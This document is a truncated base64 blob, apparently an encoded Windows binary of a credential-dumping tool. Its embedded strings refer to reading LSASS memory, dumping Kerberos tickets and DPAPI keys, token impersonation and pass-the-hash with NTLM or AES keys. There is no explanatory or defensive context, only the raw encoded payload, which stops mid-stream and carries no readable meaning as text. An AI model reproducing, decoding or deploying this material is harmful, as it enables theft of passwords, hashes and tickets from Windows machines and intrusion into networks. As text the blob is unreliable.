tQUc4QWNnQnRBR0VBZEFCcEFHOEFiZ0J6QUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUdFQVl3QnhBSFVBYVFCeUFHVUFUQUJUQUVFQUlBQTdBQ0FBVFFCbEFHMEFid0J5QUhrQUlBQnZBSEFBWlFCdUFHa0FiZ0JuQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFZUUJqQUhFQWRRQnBBSElBWlFCTUFGTUFRUUFnQURzQUlBQklBR0VBYmdCa0FHd0FaUUFnQUc4QWJnQWdBRzBBWlFCdEFHOEFjZ0I1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J6QUdVQWF3QjFBSElBYkFCekFHRUFYd0JoQUdNQWNRQjFBR2tBY2dCbEFFd0FVd0JCQUNBQU93QWdBRXdBYndCakFHRUFiQUFnQUV3QVV3QkJBQ0FBYkFCcEFHSUFjZ0JoQUhJQWVRQWdBR1lBWVFCcEFHd0FaUUJrQUFvQUFBQUFBQWtBSlFCekFDQUFPZ0FKQUFBQUFBQlZBRzRBWkFCbEFHWUFhUUJ1QUdVQVpBQk1BRzhBWndCdkFHNEFWQUI1QUhBQVpRQUFBQUFBVlFCdUFHc0FiZ0J2QUhjQWJnQWdBQ0VBQUFCSkFHNEFkQUJsQUhJQVlRQmpBSFFBYVFCMkFHVUFBQUJPQUdVQWRBQjNBRzhBY2dCckFBQUFRZ0JoQUhRQVl3Qm9BQUFBVXdCbEFISUFkZ0JwQUdNQVpRQUFBRkFBY2dCdkFIZ0FlUUFBQUZVQWJnQnNBRzhBWXdCckFBQUFBQUJPQUdVQWRBQjNBRzhBY2dCckFFTUFiQUJsQUdFQWNnQjBBR1VBZUFCMEFBQUFBQUJPQUdVQWR3QkRBSElBWlFCa0FHVUFiZ0IwQUdrQVlRQnNBSE1BQUFBQUFGSUFaUUJ0QUc4QWRBQmxBRWtBYmdCMEFHVUFjZ0JoQUdNQWRBQnBBSFlBWlFBQUFFTUFZUUJqQUdnQVpRQmtBRWtBYmdCMEFHVUFjZ0JoQUdNQWRBQnBBSFlBWlFBQUFFTUFZUUJqQUdnQVpRQmtBRklBWlFCdEFHOEFkQUJsQUVrQWJnQjBBR1VBY2dCaEFHTUFkQUJwQUhZQVpRQUFBRU1BWVFCakFHZ0FaUUJrQUZVQWJnQnNBRzhBWXdCckFBQUFBQUFLQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnBBRzhBYmdBZ0FFa0FaQUFnQURvQUlBQWxBSFVBSUFBN0FDQUFKUUIxQUNBQUtBQWxBREFBT0FCNEFEb0FKUUF3QURnQWVBQXBBQW9BVXdCbEFITUFjd0JwQUc4QWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FnQUdZQWNnQnZBRzBBSUFBbEFIVUFDZ0JWQUhNQVpRQnlBQ0FBVGdCaEFHMEFaUUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQjNBRm9BQ2dCRUFHOEFiUUJoQUdrQWJnQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUIzQUZvQUNnQk1BRzhBWndCdkFHNEFJQUJUQUdVQWNnQjJBR1VBY2dBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBSlFCM0FGb0FDZ0FBQUFBQVRBQnZBR2NBYndCdUFDQUFWQUJwQUcwQVpRQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBQUFBQUFCVEFFa0FSQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUZBQWNnQmxBSFlBYVFCdkFIVUFjd0FBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCckFISUFZZ0IwQUdjQWRBQWdBRHNBSUFCVkFHNEFZUUJpQUd3QVpRQWdBSFFBYndBZ0FHWUFhUUJ1QUdRQUlBQkxBRVFBUXdBZ0FIQUFZUUIwQUhRQVpRQnlBRzRBSUFCcEFHNEFJQUJNQUZNQVFRQlRBRk1BSUFCdEFHVUFiUUJ2QUhJQWVRQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUdzQWNnQmlBSFFBWndCMEFDQUFPd0FnQUVzQVJBQkRBQ0FBY3dCbEFISUFkZ0JwQUdNQVpRQWdBRzRBYndCMEFDQUFhUUJ1QUNBQVRBQlRBRUVBVXdCVEFDQUFiUUJsQUcwQWJ3QnlBSGtBQ2dBQUFBb0FKUUJ6QUNBQWF3QnlBR0lBZEFCbkFIUUFPZ0FnQUFBQUFBQWxBSFVBSUFCakFISUFaUUJrQUdVQWJnQjBBR2tBWVFCc0FITUFDZ0FBQUFrQUlBQXFBQ0FBSlFCekFDQUFPZ0FnQUFBQVJBQlFBRUVBVUFCSkFGOEFVd0JaQUZNQVZBQkZBRTBBQ2dBQUFHWUFkUUJzQUd3QU9nQWdBQUFBQUFBS0FHMEFMd0IxQUNBQU9nQWdBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QVpBQndBR0VBY0FCcEFGOEFjd0I1QUhNQWRBQmxBRzBBSUFBN0FDQUFUZ0J2QUhRQUlBQnBBRzRBYVFCMEFHa0FZUUJzQUdrQWVnQmxBR1FBSVFBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BWlFCckFIVUFjZ0JzQUhNQVlRQmZBR1FBY0FCaEFIQUFhUUJmQUhNQWVRQnpBSFFBWlFCdEFDQUFPd0FnQUZBQVlRQjBBSFFBWlFCeUFHNEFJQUJ1QUc4QWRBQWdBR1lBYndCMUFHNEFaQUFnQUdrQWJnQWdBRVFBVUFCQkFGQUFTUUFnQUhNQVpRQnlBSFlBYVFCakFHVUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFaQUJ3QUdFQWNBQnBBRjhBY3dCNUFITUFkQUJsQUcwQUlBQTdBQ0FBUkFCUUFFRUFVQUJKQUNBQWN3QmxBSElBZGdCcEFHTUFaUUFnQUc0QWJ3QjBBQ0FBYVFCdUFDQUFUQUJUQUVFQVV3QlRBQ0FBYlFCbEFHMEFid0J5QUhrQUNnQUFBR2tBYlFCd0FHVUFjZ0J6QUc4QWJnQmhBSFFBWlFBQUFISUFkUUJ1QUFBQWVRQmxBSE1BQUFCdUFHOEFBQUFBQUhVQWN3QmxBSElBQ1FBNkFDQUFKUUJ6QUFvQVpBQnZBRzBBWVFCcEFHNEFDUUE2QUNBQUpRQnpBQW9BY0FCeUFHOEFad0J5QUdFQWJRQUpBRG9BSUFBbEFITUFDZ0JwQUcwQWNBQmxBSElBY3dBdUFBa0FPZ0FnQUNVQWN3QUtBQUFBQUFCQkFFVUFVd0F4QURJQU9BQUpBRG9BSUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1RQXlBRGdBSUFCckFHVUFlUUFnQUd3QVpRQnVBR2NBZEFCb0FDQUFiUUIxQUhNQWRBQWdBR0lBWlFBZ0FETUFNZ0FnQUNnQU1RQTJBQ0FBWWdCNUFIUUFaUUJ6QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1RQXlBRGdBSUFCckFHVUFlUUFnQUc4QWJnQnNBSGtBSUFCekFIVUFjQUJ3QUc4QWNnQjBBR1VBWkFBZ0FHWUFjZ0J2QUcwQUlBQlhBR2tBYmdCa0FHOEFkd0J6QUNBQU9BQXVBREVBSUFBb0FHOEFjZ0FnQURjQUx3QTRBQ0FBZHdCcEFIUUFhQUFnQUdzQVlnQXlBRGdBTndBeEFEa0FPUUEzQUNrQUNnQUFBRUVBUlFCVEFESUFOUUEyQUFrQU9nQWdBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1nQTFBRFlBSUFCckFHVUFlUUFnQUd3QVpRQnVBR2NBZEFCb0FDQUFiUUIxQUhNQWRBQWdBR0lBWlFBZ0FEWUFOQUFnQUNnQU13QXlBQ0FBWWdCNUFIUUFaUUJ6QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFRUUJGQUZNQU1nQTFBRFlBSUFCckFHVUFlUUFnQUc4QWJnQnNBSGtBSUFCekFIVUFjQUJ3QUc4QWNnQjBBR1VBWkFBZ0FHWUFjZ0J2QUcwQUlBQlhBR2tBYmdCa0FHOEFkd0J6QUNBQU9BQXVBREVBSUFBb0FHOEFjZ0FnQURjQUx3QTRBQ0FBZHdCcEFIUUFhQUFnQUdzQVlnQXlBRGdBTndBeEFEa0FPUUEzQUNrQUNnQUFBRTRBVkFCTUFFMEFDUUE2QUNBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFITUFaUUJyQUhVQWNnQnNBSE1BWVFCZkFIQUFkQUJvQUNBQU93QWdBRzRBZEFCc0FHMEFJQUJvQUdFQWN3Qm9BQzhBY2dCakFEUUFJQUJyQUdVQWVRQWdBR3dBWlFCdUFHY0FkQUJvQUNBQWJRQjFBSE1BZEFBZ0FHSUFaUUFnQURNQU1nQWdBQ2dBTVFBMkFDQUFZZ0I1QUhRQVpRQnpBQ2tBQ2dBQUFDQUFJQUI4QUNBQUlBQlFBRWtBUkFBZ0FDQUFKUUIxQUFvQUlBQWdBSHdBSUFBZ0FGUUFTUUJFQUNBQUlBQWxBSFVBQ2dBQUFBQUFJQUFnQUh3QUlBQWdBRXdBVlFCSkFFUUFJQUFsQUhVQUlBQTdBQ0FBSlFCMUFDQUFLQUFsQURBQU9BQjRBRG9BSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQ0FBSUFCY0FGOEFJQUJ0QUhNQWRnQXhBRjhBTUFBZ0FDQUFJQUF0QUNBQUFBQUFBQ0FBSUFCY0FGOEFJQUJyQUdVQWNnQmlBR1VBY2dCdkFITUFJQUF0QUNBQUFBQUFBQ29BS2dBZ0FGUUFid0JyQUdVQWJnQWdBRWtBYlFCd0FHVUFjZ0J6QUc4QWJnQmhBSFFBYVFCdkFHNEFJQUFxQUNvQUNnQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J6QUdVQWF3QjFBSElBYkFCekFHRUFYd0J3QUhRQWFBQWdBRHNBSUFCVEFHVUFkQUJVQUdnQWNnQmxBR0VBWkFCVUFHOEFhd0JsQUc0QUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWNBQjBBR2dBSUFBN0FDQUFSQUIxQUhBQWJBQnBBR01BWVFCMEFHVUFWQUJ2QUdzQVpRQnVBRVVBZUFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BWlFCckFIVUFjZ0JzQUhNQVlRQmZBSEFBZEFCb0FDQUFPd0FnQUVjQVpRQjBBRlFBYndCckFHVUFiZ0JKQUc0QVpnQnZBSElBYlFCaEFIUUFhUUJ2QUc0QUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUhBQWRBQm9BQ0FBT3dBZ0FFOEFjQUJsQUc0QVVBQnlBRzhBWXdCbEFITUFjd0JVQUc4QWF3QmxBRzRBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnpBR1VBYXdCMUFISUFiQUJ6QUdFQVh3QndBSFFBYUFBZ0FEc0FJQUJEQUhJQVpRQmhBSFFBWlFCUUFISUFid0JqQUdVQWN3QnpBRmNBYVFCMEFHZ0FUQUJ2QUdjQWJ3QnVBRmNBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BWlFCckFIVUFjZ0JzQUhNQVlRQmZBSEFBZEFCb0FDQUFPd0FnQUUwQWFRQnpBSE1BYVFCdUFHY0FJQUJoQUhRQUlBQnNBR1VBWVFCekFIUUFJQUJ2QUc0QVpRQWdBR0VBY2dCbkFIVUFiUUJsQUc0QWRBQWdBRG9BSUFCdUFIUUFiQUJ0QUM4QWNnQmpBRFFBSUFCUEFGSUFJQUJoQUdVQWN3QXhBRElBT0FBZ0FFOEFVZ0FnQUdFQVpRQnpBRElBTlFBMkFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCekFHVUFhd0IxQUhJQWJBQnpBR0VBWHdCd0FIUUFhQUFnQURzQUlBQk5BR2tBY3dCekFHa0FiZ0JuQUNBQVlRQnlBR2NBZFFCdEFHVUFiZ0IwQUNBQU9nQWdBR1FBYndCdEFHRUFhUUJ1QUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjd0JsQUdzQWRRQnlBR3dBY3dCaEFGOEFjQUIwQUdnQUlBQTdBQ0FBVFFCcEFITUFjd0JwQUc0QVp3QWdBR0VBY2dCbkFIVUFiUUJsQUc0QWRBQWdBRG9BSUFCMUFITUFaUUJ5QUFvQUFBQUFBQUFBQUFBS0FBa0FJQUFxQUNBQVZRQnpBR1VBY2dCdUFHRUFiUUJsQUNBQU9nQWdBQ1VBZHdCYUFBb0FDUUFnQUNvQUlBQkVBRzhBYlFCaEFHa0FiZ0FnQUNBQUlBQTZBQ0FBSlFCM0FGb0FBQUFBQUFvQUNRQWdBQ29BSUFCTUFFMEFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFvQUNRQWdBQ29BSUFCT0FGUUFUQUJOQUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFvQUNRQWdBQ29BSUFCVEFFZ0FRUUF4QUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUFBQUFBQUtBQWtBSUFBcUFDQUFSZ0JzQUdFQVp3QnpBQ0FBSUFBZ0FDQUFPZ0FnQUVrQUpRQXdBRElBZUFBdkFFNEFKUUF3QURJQWVBQXZBRXdBSlFBd0FESUFlQUF2QUZNQUpRQXdBRElBZUFBQUFBb0FDUUFnQUNvQUlBQlNBR0VBZHdBZ0FHUUFZUUIwQUdFQUlBQTZBQ0FBQUFBQUFBb0FDUUFnQUNvQUlBQlRBRzBBWVFCeUFIUUFZd0JoQUhJQVpBQUFBQUFBQ2dBSkFDQUFJQUFnQUNBQUlBQlFBRWtBVGdBZ0FHTUFid0JrQUdVQUlBQTZBQ0FBSlFCM0FGb0FBQUFLQUFrQUlBQWdBQ0FBSUFBZ0FFTUFZUUJ5QUdRQUlBQWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUpBQ0FBSUFBZ0FDQUFJQUJTQUdVQVlRQmtBR1VBY2dBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQ1FBZ0FDQUFJQUFnQUNBQVF3QnZBRzRBZEFCaEFHa0FiZ0JsQUhJQU9nQWdBQ1VBY3dBS0FBa0FJQUFnQUNBQUlBQWdBRkFBY2dCdkFIWUFhUUJrQUdVQWNnQWdBRG9BSUFBbEFITUFBQUFBQUFrQUlBQWdBQ0FBSlFCekFDQUFBQUE4QUc0QWJ3QWdBSE1BYVFCNkFHVUFMQUFnQUdJQWRRQm1BR1lBWlFCeUFDQUFhUUJ6QUNBQWFRQnVBR01BYndCeUFISUFaUUJqQUhRQVBnQUFBQUFBSlFCM0FGb0FDUUFsQUhjQVdnQUpBQUFBQUFBS0FBa0FJQUFxQUNBQVZRQnpBR1VBY2dCdUFHRUFiUUJsQUNBQU9nQWdBQ1VBZHdCYUFBb0FDUUFnQUNvQUlBQkVBRzhBYlFCaEFHa0FiZ0FnQUNBQUlBQTZBQ0FBSlFCM0FGb0FDZ0FKQUNBQUtnQWdBRkFBWVFCekFITUFkd0J2QUhJQVpBQWdBRG9BSUFBQUFBQUFUQUJWQUVrQVJBQWdBRXNBVHdBS0FBQUFBQUFLQUFrQUlBQXFBQ0FBVWdCdkFHOEFkQUJMQUdVQWVRQWdBQ0FBT2dBZ0FBQUFBQUFLQUFrQUlBQXFBQ0FBUkFCUUFFRUFVQUJKQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFLQUFrQUlBQXFBQ0FBSlFBd0FEZ0FlQUFnQURvQUlBQUFBQUFBQ2dBSkFDQUFJQUFnQUNvQUlBQk1BRk1BUVFBZ0FFa0Fjd0J2QUd3QVlRQjBBR1VBWkFBZ0FFUUFZUUIwQUdFQU9nQWdBQ1VBTGdBcUFGTUFBQUFBQUFvQUNRQWdBQ0FBSUFBZ0FDQUFWUUJ1QUdzQUxRQkxBR1VBZVFBZ0FDQUFPZ0FnQUFBQUFBQUtBQWtBSUFBZ0FDQUFJQUFnQUVVQWJnQmpBSElBZVFCd0FIUUFaUUJrQURvQUlBQUFBQUFBQ2dBSkFBa0FJQUFnQUNBQVV3QlRBRG9BSlFCMUFDd0FJQUJVQUZNQU9nQWxBSFVBTEFBZ0FFUUFVd0E2QUNVQWRRQUFBQUFBQUFBS0FBa0FDUUFnQUNBQUlBQXdBRG9BTUFCNEFDVUFlQUFzQUNBQU1RQTZBREFBZUFBbEFIZ0FMQUFnQURJQU9nQXdBSGdBSlFCNEFDd0FJQUF6QURvQU1BQjRBQ1VBZUFBc0FDQUFOQUE2QURBQWVBQWxBSGdBTEFBZ0FFVUFPZ0FBQUFBQUxBQWdBRFVBT2dBd0FIZ0FKUUI0QUFBQUFBQUtBQWtBSUFCYkFDVUFNQUE0QUhnQVhRQUFBR1FBY0FCaEFIQUFhUUJ6QUhJQWRnQXVBR1FBYkFCc0FBQUFBQUFKQUNBQVd3QWxBREFBT0FCNEFGMEFDZ0FKQUNBQUtnQWdBRWNBVlFCSkFFUUFJQUFnQUNBQUlBQWdBQ0FBT2dBSkFBQUFDZ0FKQUNBQUtnQWdBRlFBYVFCdEFHVUFJQUFnQUNBQUlBQWdBQ0FBT2dBSkFBQUFDZ0FKQUNBQUtnQWdBRTBBWVFCekFIUUFaUUJ5QUVzQVpRQjVBQ0FBT2dBSkFBQUFDZ0FKQUNBQUtnQWdBSE1BYUFCaEFERUFLQUJyQUdVQWVRQXBBQ0FBT2dBSkFBQUFDZ0FKQUVzQVR3QUFBQUFBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBQzRBWkFCc0FHd0FBQUFBQUZRQWFRQmpBR3NBWlFCMEFDQUFSd0J5QUdFQWJnQjBBR2tBYmdCbkFDQUFVd0JsQUhJQWRnQnBBR01BWlFBQUFFTUFiQUJwQUdVQWJnQjBBQ0FBVkFCcEFHTUFhd0JsQUhRQUlBQS9BQUFBVkFCcEFHTUFhd0JsQUhRQUlBQkhBSElBWVFCdUFIUUFhUUJ1QUdjQUlBQlVBR2tBWXdCckFHVUFkQUFBQUFBQUNnQUpBRWNBY2dCdkFIVUFjQUFnQUNVQWRRQWdBQzBBSUFBbEFITUFBQUFLQUFrQUlBQXFBQ0FBU3dCbEFIa0FJQUJNQUdrQWN3QjBBQ0FBT2dBS0FBQUFBQUJrQUdFQWRBQmhBQ0FBWXdCdkFIQUFlUUFnQUVBQUlBQWxBSEFBQUFBQUFBb0FJQUFnQUNBQVhBQmZBQ0FBSlFCekFDQUFBQUFBQUMwQVBnQWdBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QVpRQnVBSFVBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHTUFZUUJzQUd3QVlnQmhBR01BYXdCZkFIQUFkQUJvQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWJRQmxBRzBBYndCeUFIa0FYd0JqQUc4QWNBQjVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBS0FDQUFJQUFnQUZ3QVh3QWdBQ29BVUFCaEFITUFjd0IzQUc4QWNnQmtBQ0FBY2dCbEFIQUFiQUJoQUdNQVpRQWdBQzBBUGdBZ0FBQUFBQUJ1QUhVQWJBQnNBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhNQVpRQnJBSFVBY2dCc0FITUFZUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdVQWJnQjFBRzBBWHdCMEFHa0FZd0JyQUdVQWRBQnpBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhjQWNnQnBBSFFBWlFCRUFHRUFkQUJoQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQ2dBSkFDQUFJQUFnQUV3QVV3QkJBQ0FBVXdCbEFITUFjd0JwQUc4QWJnQWdBRXNBWlFCNUFDQUFJQUFnQURvQUlBQXdBSGdBSlFBd0FEZ0FlQUFnQUMwQUlBQWxBSE1BQUFBQUFBQUFBQUJiQUNVQWVBQTdBQ1VBZUFCZEFDMEFKUUF4QUhVQUxRQWxBSFVBTFFBbEFEQUFPQUI0QUMwQUpRQjNBRm9BUUFBbEFIY0FXZ0F0QUNVQWR3QmFBQzRBSlFCekFBQUFBQUJiQUNVQWVBQTdBQ1VBZUFCZEFDMEFKUUF4QUhVQUxRQWxBSFVBTFFBbEFEQUFPQUI0QUM0QUpRQnpBQUFBQUFCc0FHa0FkZ0JsQUhNQWN3QndBQzRBWkFCc0FHd0FBQUJRY21sdFlYSjVBRU55WldSbGJuUnBZV3hMWlhsekFBQUtBQWtBSUFCYkFDVUFNQUE0QUhnQVhRQWdBQ1VBV2dBQUFBQUFaQUJoQUhRQVlRQWdBR01BYndCd0FIa0FJQUJBQUNBQUpRQndBQ0FBT2dBZ0FBQUFUd0JMQUNBQUlRQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWN3QmxBR3NBZFFCeUFHd0Fjd0JoQUY4QWJRQnpBSFlBWHdCbEFHNEFkUUJ0QUY4QVl3QnlBR1VBWkFCZkFHTUFZUUJzQUd3QVlnQmhBR01BYXdCZkFIQUFkQUJvQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWJRQmxBRzBBYndCeUFIa0FYd0JqQUc4QWNBQjVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBdUFBQUFBQUFBQUc0QUxnQmxBQzRBSUFBb0FFc0FTUUJYQUVrQVh3Qk5BRk1BVmdBeEFGOEFNQUJmQUZBQVVnQkpBRTBBUVFCU0FGa0FYd0JEQUZJQVJRQkVBRVVBVGdCVUFFa0FRUUJNQUZNQUlBQkxBRThBS1FBQUFBQUFBQUJ1QUM0QVpRQXVBQ0FBS0FCTEFFa0FWd0JKQUY4QVRRQlRBRllBTVFCZkFEQUFYd0JEQUZJQVJRQkVBRVVBVGdCVUFFa0FRUUJNQUZNQUlBQkxBRThBS1FBQUFIUUFjd0J3QUdzQVp3QXVBR1FBYkFCc0FBQUFkd0JrQUdrQVp3QmxBSE1BZEFBdUFHUUFiQUJzQUFBQVEwTkRRd0FBQUFBQUFBQUFBQUFBQUV4TVRFd0FBQUFBQUFBQUFBQUFBQUFYQUFBQUVRQUFBQklBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQlFBQUFBQUFBQURsZEc5V0FBQUFBQTBBQUFDOEFnQUFaTmNGQUdTOUJRQUFBQUFBWEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFHRUFBQUFBQUFBQUFBZUxRREVBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFSVlJYTUJBQUFBQ0dEZ1NJS3dXS3V3VUZBQUFBQUFBQUFBQWdBQUF2QUFCSmJuWnZhMlZOWVdsdVZtbGhRMUpVQUNKTllXbHVJRWx1ZG05clpXUXVJZ0FDUm1sc1pVNWhiV1VBQVFVRkFBQUFBQUFBQUFBZ0FBQXVBQUJGZUdsMFRXRnBibFpwWVVOU1ZBQWlUV0ZwYmlCU1pYUjFjbTVsWkM0aUFBSkdhV3hsVG1GdFpRQUJBaXNBVFdsamNtOXpiMlowTGtOU1ZGQnliM1pwWkdWeUFCTUFBUnB6VUUvUGlZSkhzK0RjNk1rRWRyb0JSME5VVEFBUUFBQmZBZ0FBTG5SbGVIUUFBQUJnRWdBQUJJNERBQzUwWlhoMEpHMXVBQUFBQUFDd0F3QjRCQUFBTG1sa1lYUmhKRFVBQUFBQWVMUURBQVFBQUFBdU1EQmpabWNBQUh5MEF3QUVBQUFBTGtOU1ZDUllRMEVBQUFBQWdMUURBQVFBQUFBdVExSlVKRmhEV2dBQUFBQ0V0QU1BQkFBQUFDNURVbFFrV0VsQkFBQUFBSWkwQXdBTUFBQUFMa05TVkNSWVNVTUFBQUFBbExRREFBUUFBQUF1UTFKVUpGaEpXZ0FBQUFDWXRBTUFCQUFBQUM1RFVsUWtXRkJCQUFBQUFKeTBBd0FJQUFBQUxrTlNWQ1JZVUZnQUFBQUFwTFFEQUFRQUFBQXVRMUpVSkZoUVdFRUFBQUNvdEFNQUJBQUFBQzVEVWxRa1dGQmFBQUFBQUt5MEF3QUVBQUFBTGtOU1ZDUllWRUVBQUFBQXNMUURBQVFBQUFBdVExSlVKRmhVV2dBQUFBREF0QU1BN0NFQ0FDNXlaR0YwWVFBQXNOWUZBQkFBQUFBdWNtUmhkR0VrZWtWVVZ6QUFBQUFBd05ZRkFIY0FBQUF1Y21SaGRHRWtla1ZVVnpFQUFBQUFOOWNGQUN3QUFBQXVjbVJoZEdFa2VrVlVWeklBQUFBQVk5Y0ZBQUVBQUFBdWNtUmhkR0VrZWtWVVZ6a0FBQUFBWk5jRkFMd0NBQUF1Y21SaGRHRWtlbnA2WkdKbkFBQUFJTm9GQUFRQUFBQXVjblJqSkVsQlFRQUFBQUFrMmdVQUJBQUFBQzV5ZEdNa1NWcGFBQUFBQUNqYUJRQUVBQUFBTG5KMFl5UlVRVUVBQUFBQUxOb0ZBQVFBQUFBdWNuUmpKRlJhV2dBQUFBQXcyZ1VBekFRQUFDNTRaR0YwWVNSNEFBQUFBQURmQlFCZkFBQUFMbVZrWVhSaEFBQmczd1VBR0FFQUFDNXBaR0YwWVNReUFBQUFBSGpnQlFBVUFBQUFMbWxrWVhSaEpETUFBQUFBak9BRkFIZ0VBQUF1YVdSaGRHRWtOQUFBQUFBRTVRVUFtaFlBQUM1cFpHRjBZU1EyQUFBQUFBQUFCZ0F3SHdBQUxtUmhkR0VBQUFBd0h3WUFQQXNBQUM1aWMzTUFBQUFBQURBR0FGZ0FBQUF1Y25OeVl5UXdNUUFBQUFCZ01BWUFLQUlBQUM1eWMzSmpKREF5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFELy8vLy80NDRBRURxUEFCQUFBQUFBLy8vLy94dVFBQkJ5a0FBUUFBQUFBUC8vLy8rR2tRQVEzWkVBRUFBQUFBRC8vLy8vYTFvQkVNSmFBUkFBQUFBQS92Ly8vd0FBQUFEUS8vLy9BQUFBQVA3Ly8vOEFBQUFBRE44QkVBQUFBQUQrLy8vL0FBQUFBTlQvLy84QUFBQUEvdi8vL3dBQUFBQ0gzd0VRQUFBQUFQNy8vLzhBQUFBQTFQLy8vd0FBQUFEKy8vLy9hZUFCRUlqZ0FSQUFBQUFBL3YvLy93QUFBQURZLy8vL0FBQUFBUDcvLy85UzR3RVFaZU1CRUFBQUFBRCsvLy8vQUFBQUFOVC8vLzhBQUFBQS92Ly8vd0FBQUFENStnRVFBQUFBQV